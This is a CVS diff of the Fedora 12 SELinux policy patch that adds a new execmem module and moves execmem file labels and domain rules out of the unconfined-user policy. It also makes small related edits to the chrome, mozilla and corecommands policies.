 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 +
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 ++
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   21 
 policy/modules/apps/nsplugin.fc           |   12 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  294 ++++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |    6 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 ++++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   56 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  182 +++
 policy/modules/apps/sandbox.te            |  329 ++++++
 policy/modules/apps/screen.if             |    5 
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |   59 +
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   28 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   31 
 policy/modules/kernel/devices.fc          |    8 
 policy/modules/kernel/devices.if          |  183 +++
 policy/modules/kernel/devices.te          |   19 
 policy/modules/kernel/domain.if           |  151 ++-
 policy/modules/kernel/domain.te           |   84 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    8 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 +++++++++++++
 policy/modules/roles/unconfineduser.te    |  397 ++++++++
 policy/modules/roles/unprivuser.te        |  131 --
 policy/modules/roles/xguest.te            |   18 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   21 
 policy/modules/services/abrt.te           |   14 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  438 +++++++--
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    5 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   18 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    4 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   34 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 -
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   54 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |    9 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    1 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 -
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.te          |    2 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.te          |   11 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |    5 
 policy/modules/services/mta.te            |   35 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   64 +
 policy/modules/services/networkmanager.te |  115 ++
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.te           |   10 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 ++++++
 policy/modules/services/plymouth.te       |   86 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 +
 policy/modules/services/policykit.te      |   63 +
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++-
 policy/modules/services/postfix.te        |  140 ++
 policy/modules/services/postgresql.fc     |    1 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    6 
 policy/modules/services/rgmanager.if      |   40 
 policy/modules/services/rgmanager.te      |   54 +
 policy/modules/services/rhcs.fc           |   21 
 policy/modules/services/rhcs.if           |  309 ++++++
 policy/modules/services/rhcs.te           |  340 +++++++
 policy/modules/services/ricci.te          |   17 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 ++
 policy/modules/services/setroubleshoot.te |   78 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  183 +++
 policy/modules/services/ssh.te            |   77 +
 policy/modules/services/sssd.fc           |    2 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |    6 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  127 ++
 policy/modules/services/virt.te           |  283 +++++-
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   31 
 policy/modules/services/xserver.if        |  534 ++++++++++-
 policy/modules/services/xserver.te        |  318 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  204 +++-
 policy/modules/system/authlogin.te        |    9 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 +++
 policy/modules/system/init.te             |  277 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   55 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 ++
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  158 ++-
 policy/modules/system/libraries.if        |    4 
 policy/modules/system/libraries.te        |   17 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |    4 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.te              |   25 
 policy/modules/system/miscfiles.if        |   38 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  226 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   74 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   21 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 ---------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1413 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   50 -
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 343 files changed, 16021 insertions(+), 2615 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.99
retrieving revision 1.100
diff -u -p -r1.99 -r1.100
--- policy-F12.patch	2 Oct 2009 13:36:22 -0000	1.99
+++ policy-F12.patch	2 Oct 2009 15:01:06 -0000	1.100
@@ -1711,8 +1711,8 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/chrome.te serefpolicy-3.6.32/policy/modules/apps/chrome.te
 --- nsaserefpolicy/policy/modules/apps/chrome.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/chrome.te	2009-10-02 08:23:19.000000000 -0400
-@@ -0,0 +1,52 @@
++++ serefpolicy-3.6.32/policy/modules/apps/chrome.te	2009-10-02 11:00:23.000000000 -0400
+@@ -0,0 +1,57 @@
 +policy_module(chrome,1.0.0)
 +
 +########################################
@@ -1765,6 +1765,11 @@ diff -b -B --ignore-all-space --exclude-
 +
 +miscfiles_read_localization(chrome_sandbox_t)
 +miscfiles_read_fonts(chrome_sandbox_t)
++
++optional_policy(`
++	execmem_exec(chrome_sandbox_t)
++')
++
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/cpufreqselector.te serefpolicy-3.6.32/policy/modules/apps/cpufreqselector.te
 --- nsaserefpolicy/policy/modules/apps/cpufreqselector.te	2009-09-09 09:23:16.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/apps/cpufreqselector.te	2009-09-30 16:12:48.000000000 -0400
@@ -1777,6 +1782,126 @@ diff -b -B --ignore-all-space --exclude-
  
  optional_policy(`
  	dbus_system_domain(cpufreqselector_t, cpufreqselector_exec_t)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/execmem.fc serefpolicy-3.6.32/policy/modules/apps/execmem.fc
+--- nsaserefpolicy/policy/modules/apps/execmem.fc	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/apps/execmem.fc	2009-10-02 10:45:59.000000000 -0400
+@@ -0,0 +1,27 @@
++/usr/bin/valgrind 		--	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/sbin/vboxadd-service 	--	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/lib/ia32el/ia32x_loader 	--	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/lib(64)/virtualbox/VirtualBox  --	gen_context(system_u:object_r:execmem_exec_t,s0)
++
++/usr/local/RealPlayer/realplay\.bin --	gen_context(system_u:object_r:execmem_exec_t,s0)
++
++ifdef(`distro_gentoo',`
++/usr/lib32/openoffice/program/[^/]+\.bin -- gen_context(system_u:object_r:execmem_exec_t,s0)
++')
++/usr/bin/sbcl			    --	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/lib64/R/bin/exec/R	   	--	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/lib/R/bin/exec/R	   	--	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/lib64/erlang/erts-[^/]+/bin/beam.smp --	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/lib/erlang/erts-[^/]+/bin/beam.smp --	gen_context(system_u:object_r:execmem_exec_t,s0)
++
++/usr/bin/haddock.*  --	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/bin/hasktags  --	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/bin/runghc  --	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/bin/runhaskell  --	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/libexec/ghc-[^/]+/.*bin  --	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/libexec/ghc-[^/]+/ghc-.*  --	gen_context(system_u:object_r:execmem_exec_t,s0)
++/usr/lib(64)?/ghc-[^/]+/ghc-.*  --	gen_context(system_u:object_r:execmem_exec_t,s0)
++
++/opt/real/(.*/)?realplay\.bin --	gen_context(system_u:object_r:execmem_exec_t,s0)
++
++/usr/lib(64)?/chromium-browser/chromium-browser  gen_context(system_u:object_r:execmem_exec_t,s0)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/execmem.if serefpolicy-3.6.32/policy/modules/apps/execmem.if
+--- nsaserefpolicy/policy/modules/apps/execmem.if	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/apps/execmem.if	2009-10-02 10:33:33.000000000 -0400
+@@ -0,0 +1,70 @@
++## <summary>execmem domain</summary>
++
++########################################
++## <summary>
++##	Execute the execmem program in the execmem domain.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`execmem_exec',`
++	gen_require(`
++		type execmem_exec_t;
++	')
++
++	can_exec($1, execmem_exec_t)
++')
++
++#######################################
++## <summary>
++##	The role template for the execmem module.
++## </summary>
++## <desc>
++##	<p>
++##	This template creates a derived domains which are used
++##	for execmem applications.
++##	</p>
++## </desc>
++## <param name="role_prefix">
++##	<summary>
++##	The prefix of the user domain (e.g., user
++##	is the prefix for user_t).
++##	</summary>
++## </param>
++## <param name="user_role">
++##	<summary>
++##	The role associated with the user domain.
++##	</summary>
++## </param>
++## <param name="user_domain">
++##	<summary>
++##	The type of the user domain.
++##	</summary>
++## </param>
++#
++template(`execmem_role_template',`
++	gen_require(`
++		type execmem_exec_t;
++	')
++
++	type $1_execmem_t;
++	domain_type($1_execmem_t)
++	domain_entry_file($1_execmem_t, execmem_exec_t)
++	role $2 types $1_execmem_t;
++
++	userdom_unpriv_usertype($1, $1_execmem_t)
++	userdom_manage_tmpfs_role($2, $1_execmem_t)
++
++	allow $1_execmem_t self:process { execmem execstack };
++	allow $3 $1_execmem_t:process { getattr ptrace noatsecure signal_perms };
++	domtrans_pattern($3, execmem_exec_t, $1_execmem_t)
++	corecmd_bin_domtrans($1_execmem_t, $1_t)
++
++	optional_policy(`
++		xserver_common_app($1_execmem_t)
++		xserver_role($1_r, $1_execmem_t)
++	')
++')
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/execmem.te serefpolicy-3.6.32/policy/modules/apps/execmem.te
+--- nsaserefpolicy/policy/modules/apps/execmem.te	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/apps/execmem.te	2009-10-02 10:36:43.000000000 -0400
+@@ -0,0 +1,11 @@
++
++policy_module(execmem, 1.0.0)
++
++########################################
++#
++# Declarations
++#
++
++type execmem_exec_t;
++application_executable_file(execmem_exec_t)
++
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/firewallgui.fc serefpolicy-3.6.32/policy/modules/apps/firewallgui.fc
 --- nsaserefpolicy/policy/modules/apps/firewallgui.fc	1969-12-31 19:00:00.000000000 -0500
 +++ serefpolicy-3.6.32/policy/modules/apps/firewallgui.fc	2009-09-30 16:12:48.000000000 -0400
@@ -2912,7 +3037,7 @@ diff -b -B --ignore-all-space --exclude-
  ## <param name="domain">
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/mozilla.te serefpolicy-3.6.32/policy/modules/apps/mozilla.te
 --- nsaserefpolicy/policy/modules/apps/mozilla.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/apps/mozilla.te	2009-10-02 08:15:50.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/mozilla.te	2009-10-02 11:00:19.000000000 -0400
 @@ -59,6 +59,7 @@
  manage_files_pattern(mozilla_t, mozilla_home_t, mozilla_home_t)
  manage_lnk_files_pattern(mozilla_t, mozilla_home_t, mozilla_home_t)
@@ -5021,7 +5146,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/corecommands.fc serefpolicy-3.6.32/policy/modules/kernel/corecommands.fc
 --- nsaserefpolicy/policy/modules/kernel/corecommands.fc	2009-07-30 13:09:10.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/corecommands.fc	2009-10-02 08:03:28.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/corecommands.fc	2009-10-02 10:34:35.000000000 -0400
 @@ -1,4 +1,4 @@
 -
 +c
@@ -5071,7 +5196,7 @@ diff -b -B --ignore-all-space --exclude-
  /usr/share/system-config-selinux/system-config-selinux\.py -- gen_context(system_u:object_r:bin_t,s0)
  /usr/share/system-config-display/system-config-display -- gen_context(system_u:object_r:bin_t,s0)
  /usr/share/system-config-httpd/system-config-httpd -- gen_context(system_u:object_r:bin_t,s0)
-@@ -315,3 +323,23 @@
+@@ -315,3 +323,21 @@
  ifdef(`distro_suse',`
  /var/lib/samba/bin/.+			gen_context(system_u:object_r:bin_t,s0)
  ')
@@ -5093,8 +5218,6 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/lib(64)?/rpm/rpmv		-- 	gen_context(system_u:object_r:bin_t,s0)
 +
 +/usr/lib(64)?/gimp/.*/plug-ins(/.*)?  gen_context(system_u:object_r:bin_t,s0)
-+
-+/usr/lib(64)?/chromium-browser/chromium-browser  gen_context(system_u:object_r:bin_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/corecommands.if serefpolicy-3.6.32/policy/modules/kernel/corecommands.if
 --- nsaserefpolicy/policy/modules/kernel/corecommands.if	2009-07-14 14:19:57.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/kernel/corecommands.if	2009-09-30 16:12:48.000000000 -0400
@@ -7508,45 +7631,19 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/roles/unconfineduser.fc serefpolicy-3.6.32/policy/modules/roles/unconfineduser.fc
 --- nsaserefpolicy/policy/modules/roles/unconfineduser.fc	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.fc	2009-10-02 08:54:17.000000000 -0400
-@@ -0,0 +1,34 @@
++++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.fc	2009-10-02 10:25:25.000000000 -0400
+@@ -0,0 +1,8 @@
 +# Add programs here which should not be confined by SELinux
 +# e.g.:
 +# /usr/local/bin/appsrv		--	gen_context(system_u:object_r:unconfined_exec_t,s0)
 +# For the time being until someone writes a sane policy, we need initrc to transition to unconfined_t
-+/usr/bin/valgrind 		--	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/bin/vncserver		--	gen_context(system_u:object_r:unconfined_notrans_exec_t,s0)
-+/usr/sbin/vboxadd-service 	--	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/lib/ia32el/ia32x_loader 	--	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/lib(64)/virtualbox/VirtualBox  --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+
-+/usr/local/RealPlayer/realplay\.bin --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+
-+ifdef(`distro_gentoo',`
-+/usr/lib32/openoffice/program/[^/]+\.bin -- gen_context(system_u:object_r:execmem_exec_t,s0)
-+')
-+/usr/bin/sbcl			    --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+
 +/usr/sbin/mock			    --	gen_context(system_u:object_r:unconfined_notrans_exec_t,s0)
 +/usr/sbin/sysreport	 	    --	gen_context(system_u:object_r:unconfined_notrans_exec_t,s0)
 +
-+/usr/lib64/R/bin/exec/R	   	--	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/lib/R/bin/exec/R	   	--	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/lib64/erlang/erts-[^/]+/bin/beam.smp --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/lib/erlang/erts-[^/]+/bin/beam.smp --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+
-+/usr/bin/haddock.*  --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/bin/hasktags  --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/bin/runghc  --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/bin/runhaskell  --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/libexec/ghc-[^/]+/.*bin  --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/libexec/ghc-[^/]+/ghc-.*  --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+/usr/lib(64)?/ghc-[^/]+/ghc-.*  --	gen_context(system_u:object_r:execmem_exec_t,s0)
-+
-+/opt/real/(.*/)?realplay\.bin --	gen_context(system_u:object_r:execmem_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/roles/unconfineduser.if serefpolicy-3.6.32/policy/modules/roles/unconfineduser.if
 --- nsaserefpolicy/policy/modules/roles/unconfineduser.if	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.if	2009-10-02 10:23:36.000000000 -0400
 @@ -0,0 +1,638 @@
 +## <summary>Unconfiend user role</summary>
 +
@@ -8188,8 +8285,8 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/roles/unconfineduser.te serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te
 --- nsaserefpolicy/policy/modules/roles/unconfineduser.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te	2009-10-02 08:30:26.000000000 -0400
-@@ -0,0 +1,406 @@
++++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te	2009-10-02 10:45:40.000000000 -0400
+@@ -0,0 +1,397 @@
 +policy_module(unconfineduser, 1.0.0)
 +
 +########################################
@@ -8239,14 +8336,6 @@ diff -b -B --ignore-all-space --exclude-
 +role system_r types unconfined_t;
 +typealias unconfined_t alias { unconfined_dbusd_t unconfined_crontab_t };
 +
-+type unconfined_execmem_t;
-+type execmem_exec_t;
-+init_system_domain(unconfined_execmem_t, execmem_exec_t)
-+role unconfined_r types unconfined_execmem_t;
-+typealias execmem_exec_t alias unconfined_execmem_exec_t;
-+userdom_unpriv_usertype(unconfined, unconfined_execmem_t)
-+userdom_manage_tmpfs_role(unconfined_r, unconfined_execmem_t)
-+
 +type unconfined_notrans_t;
 +type unconfined_notrans_exec_t;
 +init_system_domain(unconfined_notrans_t, unconfined_notrans_exec_t)
@@ -8262,8 +8351,6 @@ diff -b -B --ignore-all-space --exclude-
 +allow unconfined_t self:system syslog_read;
 +dontaudit unconfined_t self:capability sys_module;
 +
-+domtrans_pattern(unconfined_t, execmem_exec_t, unconfined_execmem_t)
-+
 +files_create_boot_flag(unconfined_t)
 +files_create_default_dir(unconfined_t)
 +
@@ -8529,7 +8616,8 @@ diff -b -B --ignore-all-space --exclude-
 +# Unconfined Execmem Local policy
 +#
 +
-+allow unconfined_execmem_t self:process { execstack execmem };
++execmem_role_template(unconfined, unconfined_r, unconfined_t)
++typealias unconfined_execmem_t alias execmem_t;
 +unconfined_domain_noaudit(unconfined_execmem_t)
 +allow unconfined_execmem_t unconfined_t:process transition;
 +rpm_transition_script(unconfined_execmem_t)
@@ -8545,9 +8633,9 @@ diff -b -B --ignore-all-space --exclude-
 +	avahi_dbus_chat(unconfined_execmem_t)
 +')
 +
-+	optional_policy(`
-+		hal_dbus_chat(unconfined_execmem_t)
-+	')
++optional_policy(`
++	hal_dbus_chat(unconfined_execmem_t)
++')
 +
 +optional_policy(`
 +	xserver_rw_shm(unconfined_execmem_t)
@@ -21974,7 +22062,7 @@ diff -b -B --ignore-all-space --exclude-
 -') dnl end TODO
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/application.if serefpolicy-3.6.32/policy/modules/system/application.if
 --- nsaserefpolicy/policy/modules/system/application.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/application.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/application.if	2009-10-02 10:28:50.000000000 -0400
 @@ -2,7 +2,7 @@
  
  ########################################
@@ -27167,7 +27255,7 @@ diff -b -B --ignore-all-space --exclude-
 +HOME_DIR/\.gvfs(/.*)?	<<none>>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/userdomain.if serefpolicy-3.6.32/policy/modules/system/userdomain.if
 --- nsaserefpolicy/policy/modules/system/userdomain.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-02 08:25:19.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-02 10:53:53.000000000 -0400
 @@ -30,8 +30,9 @@
  	')
  
@@ -28193,7 +28281,7 @@ diff -b -B --ignore-all-space --exclude-
  	# cjp: why?
  	files_read_kernel_symbol_table($1_t)
  
-@@ -975,36 +1086,53 @@
+@@ -975,36 +1086,57 @@
  		')
  	')
  
